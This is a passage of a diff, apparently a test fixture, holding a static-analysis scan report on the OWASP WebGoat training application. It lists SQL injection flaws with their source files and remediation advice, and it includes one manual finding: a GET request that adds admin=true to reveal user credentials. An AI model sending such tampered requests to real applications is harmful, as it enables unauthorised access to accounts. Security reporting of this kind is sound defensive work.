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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
